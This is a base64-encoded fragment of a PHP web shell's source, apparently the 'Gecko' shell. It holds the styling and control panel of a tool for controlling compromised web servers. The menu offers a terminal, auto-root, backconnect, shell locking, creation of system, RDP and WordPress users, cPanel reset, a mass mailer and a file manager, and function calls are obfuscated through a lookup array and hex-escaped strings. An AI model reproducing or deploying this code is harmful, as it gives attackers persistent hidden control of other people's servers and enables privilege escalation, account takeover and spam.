GVyIHsKICAgICAgICAgICAgd2lkdGg6IDYwcHg7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICAgICAgbWFyZ2luLXRvcDogLTMwcHg7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGUKICAgICAgICB9CgogICAgICAgIC5iYWRnZS13aW5kb3dzOjphZnRlciB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IG9yYW5nZTsKICAgICAgICAgICAgY29sb3I6ICMwMDA7CiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMDBweDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4OwogICAgICAgICAgICBjb250ZW50OiAid2luZG93cyIKICAgICAgICB9CgogICAgICAgIC5iYWRnZS1saW51eDo6YWZ0ZXIgewogICAgICAgICAgICBtYXJnaW4tbGVmdDogMTAwcHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzAwNDdhMzsKICAgICAgICAgICAgY29udGVudDogImxpbnV4IgogICAgICAgIH0KCiAgICAgICAgLmJhZGdlLWFjdGlvbi1lZGl0b3I6aG92ZXI6OmFmdGVyIHsKICAgICAgICAgICAgY29udGVudDogIlJlbmFtZSIKICAgICAgICB9CgogICAgICAgIC5iYWRnZS1hY3Rpb24tY2htb2Q6aG92ZXI6OmFmdGVyIHsKICAgICAgICAgICAgY29udGVudDogIkNobW9kIgogICAgICAgIH0KCiAgICAgICAgLmJhZGdlLWFjdGlvbi1kb3dubG9hZDpob3Zlcjo6YWZ0ZXIgewogICAgICAgICAgICBjb250ZW50OiAiRG93bmxvYWQiCiAgICAgICAgfQoKICAgICAgICAuQ29kZU1pcnJvciB7CiAgICAgICAgICAgIGhlaWdodDogNzB2aDsKICAgICAgICB9CgogICAgICAgIC5jb2RlLWVkaXRvciwKICAgICAgICAudGVybWluYWwgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDAsIDAsIDAsIC4zKTsKICAgICAgICAgICAgd2lkdGg6IDEwMCUKICAgICAgICB9CgogICAgICAgIC5jb2RlLWVkaXRvci1jb250YWluZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjRmNGY5OwogICAgICAgICAgICBjb2xvcjogIzAwMDsKICAgICAgICAgICAgd2lkdGg6IDkwJTsKICAgICAgICAgICAgaGVpZ2h0OiA5MHZoOwogICAgICAgICAgICBtYXJnaW46IDIwcHggYXV0byBhdXRvOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxMHB4CiAgICAgICAgfQoKICAgICAgICAuY29kZS1lZGl0b3ItaGVhZCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDAKICAgICAgICB9CgogICAgICAgIC50ZXJtaW5hbC1jb250YWluZXIgewogICAgICAgICAgICBhbmltYXRpb246IC41cyBib3RoIG1vZGFsLXBvcC1vdXQ7CiAgICAgICAgICAgIHdpZHRoOiA5MCU7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmNGY0Zjk7CiAgICAgICAgICAgIG1hcmdpbjogMjVweCBhdXRvIGF1dG87CiAgICAgICAgICAgIGNvbG9yOiAjMDAwOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHgKICAgICAgICB9CgogICAgICAgIC5iYy1nZWNrbywKICAgICAgICAubWFpbCwKICAgICAgICAudGVybWluYWwtaW5wdXQgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjIyNDJkOwogICAgICAgICAgICBjb2xvcjogI2ZmZgogICAgICAgIH0KCiAgICAgICAgLnRlcm1pbmFsLWhlYWQgewogICAgICAgICAgICBwYWRkaW5nOiA4cHgKICAgICAgICB9CgogICAgICAgIC50ZXJtaW5hbC1oZWFkIGxpIGEgewogICAgICAgICAgICBjb2xvcjogIzAwMDsKICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgICAgICByaWdodDogMDsKICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAxMTBweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMDsKICAgICAgICAgICAgbWFyZ2luLXRvcDogLTIwcHg7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMjVweDsKICAgICAgICAgICAgcGFkZGluZzogMXB4IDEwcHgKICAgICAgICB9CgogICAgICAgIC50ZXJtaW5hbC1ib2R5IHRleHRhcmVhIHsKICAgICAgICAgICAgbWFyZ2luOiA0cHg7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyMjI0MmQ7CiAgICAgICAgICAgIGNvbG9yOiAjMjlkYjEyOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHgKICAgICAgICB9CgogICAgICAgIC5hY3RpdmUgewogICAgICAgICAgICBkaXNwbGF5OiBibG9jawogICAgICAgIH0KCiAgICAgICAgLnRlcm1pbmFsLWlucHV0IHsKICAgICAgICAgICAgd2lkdGg6IDUwMHB4OwogICAgICAgICAgICBwYWRkaW5nOiA2cHg7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMyMjI0MmQ7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgICAgICAgbWFyZ2luOiA1cHggMAogICAgICAgIH0KCiAgICAgICAgLmJjLWdlY2tvIHsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBwYWRkaW5nOiA3cHggMTBweDsKICAgICAgICAgICAgd2lkdGg6IDcxMnB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIG1hcmdpbjogMTVweCA0MHB4CiAgICAgICAgfQoKICAgICAgICAubWFpbCB7CiAgICAgICAgICAgIHdpZHRoOiA3MDVweDsKICAgICAgICAgICAgcmVzaXplOiBub25lOwogICAgICAgICAgICBoZWlnaHQ6IDEwMHB4CiAgICAgICAgfQoKICAgICAgICAubG9nby1nZWNrbyB7CiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsKICAgICAgICAgICAgdG9wOiAtOTBweDsKICAgICAgICAgICAgcmlnaHQ6IDQwcHg7CiAgICAgICAgICAgIHotaW5kZXg6IC0xOwogICAgICAgICAgICBib3R0b206IDAKICAgICAgICB9CiAgICA8L3N0eWxlPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxkaXYgY2xhc3M9Im1lbnUtaGVhZGVyIj4KICAgICAgICA8dWw+CiAgICAgICAgICAgIDxsaT48aSBjbGFzcz0iZmEtc29saWQgZmEtY29tcHV0ZXIiPjwvaT4mbmJzcDs8Pz0gJGZ1bmdzaVs4XSgpOyA/PjwvbGk+CiAgICAgICAgICAgIDxsaT48aSBjbGFzcz0iZmEtc29saWQgZmEtc2VydmVyIj48L2k+Jm5ic3A7PD89ICRfU0VSVkVSWyJceDUzXHg0NVx4NTJceDU2XHg0NVx4NTJceDVmXHg1M1x4NGZceDQ2XHg1NFx4NTdceDQxXHg1Mlx4NDUiXTsgPz48L2xpPgogICAgICAgICAgICA8bGk+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLW5ldHdvcmstd2lyZWQiPjwvaT4mbmJzcDs6IDw/PSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJceDUzXHg0NVx4NTJceDU2XHg0NVx4NTJceDVmXHg0MVx4NDRceDQ0XHg1MiJdKTsgPz4gfCZuYnNwOzogPD89ICRfU0VSVkVSWyJceDUyXHg0NVx4NGRceDRmXHg1NFx4NDVceDVmXHg0MVx4NDRceDQ0XHg1MiJdOyA/PjwvbGk+CiAgICAgICAgICAgIDxsaT48aSBjbGFzcz0iZmEtc29saWQgZmEtZ2xvYmUiPjwvaT4mbmJzcDs8Pz0gcygpOyA/PjwvbGk+CiAgICAgICAgICAgIDxsaT48aSBjbGFzcz0iZmEtYnJhbmRzIGZhLXBocCI+PC9pPiZuYnNwOzw/PSBQSFBfVkVSU0lPTjsgPz48L2xpPgogICAgICAgICAgICA8bGk+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXVzZXIiPjwvaT4mbmJzcDs8Pz0gJGZ1bmdzaVs5XSgpOyA/PjwvbGk+CiAgICAgICAgICAgIDxsaT48aSBjbGFzcz0iZmEtYnJhbmRzIGZhLWdpdGh1YiI+PC9pPiZuYnNwO3d3dy5naXRodWIuY29tL01hZEV4cGxvaXRzPC9saT4KICAgICAgICAgICAgPGxpIGNsYXNzPSJsb2dvLWdlY2tvIj48aW1nIHdpZHRoPSI0MDAiIGhlaWdodD0iNDAwIiBzcmM9Ii8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9NYWRFeHBsb2l0cy9HZWNrby9tYWluL2dlY2tvMS5wbmciIGFsaWduPSJyaWdodCI+PC9saT4KICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0nPD89ICJceDZkXHg3NVx4NmNceDc0XHg2OVx4NzBceDYxXHg3Mlx4NzRceDJmXHg2Nlx4NmZceDcyXHg2ZFx4MmRceDY0XHg2MVx4NzRceDYxIjsgPz4nPgogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJmb3JtLXVwbG9hZCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwbG9hZCIgbmFtZT0iZ2Vja28tdXAtc3VibWl0IiBjbGFzcz0iYnRuLXN1Ym1pdCI+Jm5ic3A7PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImdlY2tvLXVwbG9hZCIgY2xhc3M9ImZvcm0tZmlsZSI+PC9saT4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgIDwvdWw+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9Im1lbnUtdG9vbHMiPgogICAgICAgIDx1bD4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpID8+JnRlcm1pbmFsPW5vcm1hbCIgY2xhc3M9ImJ0bi1zdWJtaXQiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS10ZXJtaW5hbCI+PC9pPiBUZXJtaW5hbDwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mdGVybWluYWw9cm9vdCIgY2xhc3M9ImJ0bi1zdWJtaXQgYmFkZ2Utcm9vdCI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXVzZXItbG9jayI+PC9pPiBBVVRPIFJPT1Q8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpID8+JmFkbWluZXIiIGNsYXNzPSJidG4tc3VibWl0Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtZGF0YWJhc2UiPjwvaT4gQWRtaW5lcjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mZGVzdHJveSIgY2xhc3M9ImJ0bi1zdWJtaXQiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1naG9zdCI+PC9pPiBCYWNrZG9vciBEZXN0cm95ZXI8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8vd3d3LmV4cGxvaXQtZGIuY29tL3NlYXJjaD9xPUxpbnV4JTIwS2VybmVsJTIwPD89IHN1Z2dlc3RfZXhwbG9pdCgpOyA/PiIgY2xhc3M9ImJ0bi1zdWJtaXQiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1mbGFzayI+PC9pPiBMaW51eCBFeHBsb2l0PC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiZsb2Nrc2hlbGwiIGNsYXNzPSJidG4tc3VibWl0Ij48aSBjbGFzcz0iZmEtYnJhbmRzIGZhLWxpbnV4Ij48L2k+IExvY2sgU2hlbGw8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImJ0bi1zdWJtaXQgYmFkZ2UtbGludXgiIGlkPSJsb2NrLWZpbGUiPjxpIGNsYXNzPSJmYS1icmFuZHMgZmEtbGludXgiPjwvaT4gTG9jayBGaWxlPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIiIGNsYXNzPSJidG4tc3VibWl0IGJhZGdlLXJvb3QiIGlkPSJyb290LXVzZXIiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS11c2VyLXBsdXMiPjwvaT4gQ3JlYXRlIFVzZXI8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImJ0bi1zdWJtaXQiIGlkPSJjcmVhdGUtcmRwIj48aSBjbGFzcz0iZmEtc29saWQgZmEtbGFwdG9wLWZpbGUiPjwvaT4gQ1JFQVRFIFJEUDwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSkgPz4mbWFpbGVyIiBjbGFzcz0iYnRuLXN1Ym1pdCI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWVudmVsb3BlIj48L2k+IFBIUCBNYWlsZXI8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpID8+JmJhY2tjb25uZWN0IiBjbGFzcz0iYnRuLXN1Ym1pdCI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXVzZXItc2VjcmV0Ij48L2k+IEJBQ0tDT05ORUNUPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiZ1bmxvY2tzaGVsbCIgY2xhc3M9ImJ0bi1zdWJtaXQiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS11bmxvY2sta2V5aG9sZSI+PC9pPiBVTkxPQ0sgU0hFTEw8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ii8vaGFzaGVzLmNvbS9lbi90b29scy9oYXNoX2lkZW50aWZpZXIiIGNsYXNzPSJidG4tc3VibWl0Ij48aSBjbGFzcz0iZmEtc29saWQgZmEtY29kZSI+PC9pPiBIQVNIIElERU5USUZJRVI8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpID8+JmNwYW5lbHJlc2V0IiBjbGFzcz0iYnRuLXN1Ym1pdCI+PGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jcGFuZWwiPjwvaT4gQ1BBTkVMIFJFU0VUPC9hPjwvbGk+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiZjcmVhdGV3cCIgY2xhc3M9ImJ0bi1zdWJtaXQiPjxpIGNsYXNzPSJmYS1icmFuZHMgZmEtd29yZHByZXNzLXNpbXBsZSI+PC9pPiBDUkVBVEUgV1AgVVNFUjwvYT48L2xpPgogICAgICAgICAgICA8bGk+PGEgaHJlZj0iLy9naXRodWIuY29tL01hZEV4cGxvaXRzLyIgY2xhc3M9ImJ0bi1zdWJtaXQiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1saW5rIj48L2k+Jm5ic3A7UkVBRE1FPC9hPjwvbGk+CiAgICAgICAgPC91bD4KICAgIDwvZGl2PgoKICAgIDw/cGhwCgogICAgJGZpbGVfbWFuYWdlciA9ICRmdW5nc2lbMV0oInsuWyEuXSx9KiIsIEdMT0JfQlJBQ0UpOwogICAgJGdldF9jd2QgPSAkZnVuZ3NpWzBdKCk7CiAgICA/PgoKICAgIDxkaXYgY2xhc3M9Im1lbnUtZmlsZS1tYW5hZ2VyIj4KICAgICAgICA8dWw+CiAgICAgICAgICAgIDxsaT48YSBocmVmPSIiIGlkPSJjcmVhdGVfZm9sZGVyIj4rIENyZWF0ZSBGb2xkZXI8L2E+PC9saT4KICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgaWQ9ImNyZWF0ZV9maWxlIj4rIENyZWF0ZSBGaWxlPC9hPjwvbGk+CiAgICAgICAgPC91bD4KICAgICAgICA8ZGl2IGNsYXNzPSJwYXRoLXB3ZCI+CiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICRjd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRnZXRfY3dkKTsgLy8gdW50dWsgZGlyIGdhcmlzIHdpbmRvd3MKICAgICAgICAgICAgJHB3ZCA9IGV4cGxvZGUoIi8iLCAkY3dkKTsKICAgICAgICAgICAgaWYgKHN0cmlzdHIoUEhQX09TLCAiV0lOIikpIHsKICAgICAgICAgICAgICAgIHdpbmRvd3NEcml2ZXIoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBmb3JlYWNoICgkcHdkIGFzICRpZCA9PiAkdmFsKSB7CiAgICAgICAgICAgICAgICBpZiAoJHZhbCA9PSAnJyAmJiAkaWQgPT0gMCkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJyZuYnNwOzxhIGhyZWY9Ij9kPScgLiBoeCgnLycpIC4gJyI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZvbGRlci1wbHVzIj48L2k+Jm5ic3A7LyA8L2E+JzsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkdmFsID09ICcnKSBjb250aW51ZTsKICAgICAgICAgICAgICAgIGVjaG8gJzxhIGhyZWY9Ij9kPSc7CiAgICAgICAgICAgICAgICBmb3IgKCRpID0gMDsgJGkgPD0gJGlkOyAkaSsrKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyBoeCgkcHdkWyRpXSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRpICE9ICRpZCkgZWNobyBoeCgiLyIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAnIj4nIC4gJHZhbCAuICcgLyAnIC4gJzwvYT4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gIjxhIHN0eWxlPSdmb250LXdlaWdodDpib2xkOyBjb2xvcjpvcmFuZ2U7JyBocmVmPSc/ZD0iIC4gaHgoX19ESVJfXykgLiAiJz5bIEhPTUUgU0hFTEwgXTwvYT4mbmJzcDsiOwogICAgICAgICAgICA/PgogICAgICAgIDwvZGl2PgogICAgICAgIDwvdWw+CiAgICAgICAgPHRhYmxlIHN0eWxlPSJ3aWR0aDogMTAwJTsiPgogICAgICAgICAgICA8dGhlYWQ+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRoPk5hbWU8L3RoPgogICAgICAgICAgICAgICAgICAgIDx0aD5TaXplPC90aD4KICAgICAgICAgICAgICAgICAgICA8dGg+UGVybWlzc2lvbjwvdGg+CiAgICAgICAgICAgICAgICAgICAgPHRoPkFjdGlvbjwvdGg+CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RoZWFkPgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgIDx0Ym9keT4KICAgICAgICAgICAgICAgICAgICA8IS0tIEdlY2tvIEZvbGRlciBGaWxlIE1hbmFnZXIgLS0+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZm9yZWFjaCAoJGZpbGVfbWFuYWdlciBhcyAkX0QpIDogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRmdW5nc2lbMl0oJF9EKSkgOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImNoZWNrW10iIHZhbHVlPSI8Pz0gJF9EID8+Ij4mbmJzcDs8aSBjbGFzcz0iZmEtc29saWQgZmEtZm9sZGVyLW9wZW4iIHN0eWxlPSJjb2xvcjpvcmFuZ2U7Ij48L2k+Jm5ic3A7PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSAuICIvIiAuICRfRCk7ID8+Ij48Pz0gbmFtYVBhbmphbmcoJF9EKTsgPz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+WyBESVIgXTwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGZ1bmdzaVs0XSgkZnVuZ3NpWzBdKCkgLiAnLycgLiAkX0QpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iIzAwZmYwMCI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKCEkZnVuZ3NpWzVdKCRmdW5nc2lbMF0oKSAuICcvJyAuICRfRCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBwZXJtcygkZnVuZ3NpWzBdKCkgLiAnLycgLiAkX0QpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBBY3Rpb24gRm9sZGVyIE1hbmFnZXIgLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpOyA/PiZyZT08Pz0gaHgoJF9EKSA/PiIgY2xhc3M9ImJhZGdlLWFjdGlvbi1lZGl0b3IiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1wZW4tdG8tc3F1YXJlIj48L2k+PC9hPiZuYnNwOzxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpOyA/PiZjaD08Pz0gaHgoJF9EKSA/PiIgY2xhc3M9ImJhZGdlLWFjdGlvbi1jaG1vZCI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXVzZXItcGVuIj48L2k+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/PgogICAgICAgICAgICAgICAgICAgIDwhLS0gR2Vja28gRmlsZXMgTWFuYWdlciAtLT4KICAgICAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkZmlsZV9tYW5hZ2VyIGFzICRfRikgOiA/PgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGZ1bmdzaVszXSgkX0YpKSA6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY2hlY2tbXSIgdmFsdWU9Ijw/PSAkX0YgPz4iPiZuYnNwOzw/PSBmaWxlX2V4dCgkX0YpID8+Jm5ic3A7PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSk7ID8+JmY9PD89IGh4KCRfRik7ID8+IiBjbGFzcz0iZ2Vja28tZmlsZXMiPjw/PSBuYW1hUGFuamFuZygkX0YpOyA/PjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Pz0gZm9ybWF0U2l6ZShmaWxlc2l6ZSgkX0YpKTsgPz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKGlzX3dyaXRhYmxlKCRmdW5nc2lbMF0oKSAuICcvJyAuICRfRCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSIjMDBmZjAwIj4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoIWlzX3JlYWRhYmxlKCRmdW5nc2lbMF0oKSAuICcvJyAuICRfRikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBwZXJtcygkZnVuZ3NpWzBdKCkgLiAnLycgLiAkX0YpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBBY3Rpb24gRmlsZSBNYW5hZ2VyIC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKTsgPz4mcmU9PD89IGh4KCRfRikgPz4iIGNsYXNzPSJiYWRnZS1hY3Rpb24tZWRpdG9yIj48aSBjbGFzcz0iZmEtc29saWQgZmEtcGVuLXRvLXNxdWFyZSI+PC9pPjwvYT4mbmJzcDs8YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKTsgPz4mY2g9PD89IGh4KCRfRikgPz4iIGNsYXNzPSJiYWRnZS1hY3Rpb24tY2htb2QiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS11c2VyLXBlbiI+PC9pPjwvYT4mbmJzcDs8YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKTsgPz4mZG9uPTw/PSBoeCgkX0YpID8+IiBjbGFzcz0iYmFkZ2UtYWN0aW9uLWRvd25sb2FkIj48aSBjbGFzcz0iZmEtc29saWQgZmEtZG93bmxvYWQiPjwvaT48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+CiAgICAgICAgICAgICAgICA8L3Rib2R5PgogICAgICAgIDwvdGFibGU+CiAgICAgICAgPGJyPgogICAgICAgIDxzZWxlY3QgbmFtZT0iZ2Vja28tc2VsZWN0IiBjbGFzcz0iYnRuLXN1Ym1pdCI+CiAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ImRlbGV0ZSI+RGVsZXRlPC9vcHRpb24+CiAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InVuemlwIj5VbnppcDwvb3B0aW9uPgogICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJ6aXAiPlppcDwvb3B0aW9uPjxicj4KICAgICAgICA8L3NlbGVjdD4KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQtYWN0aW9uIiB2YWx1ZT0iU3VibWl0IiBjbGFzcz0iYnRuLXN1Ym1pdCIgc3R5bGU9InBhZGRpbmc6IDguM3B4IDM1cHg7Ij4KICAgICAgICA8L2Zvcm0+CgogICAgICAgIDwhLS0gTW9kYWwgUG9wIEpxdWVyeSBDcmVhdGUgRm9sZGVyL0ZpbGUgQnkgLi9Nck1hZCAtLT4KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgIDxoMz48Yj48aSBpZD0ibW9kYWwtdGl0bGUiPiR7dGhpcy50aXRsZX08L2k+PC9iPjwvaDM+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJtb2RhbC1ib2R5LWJjIj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gaWQ9Im1vZGFsLWlucHV0Ij48L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJ0bi1mb3JtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93Ij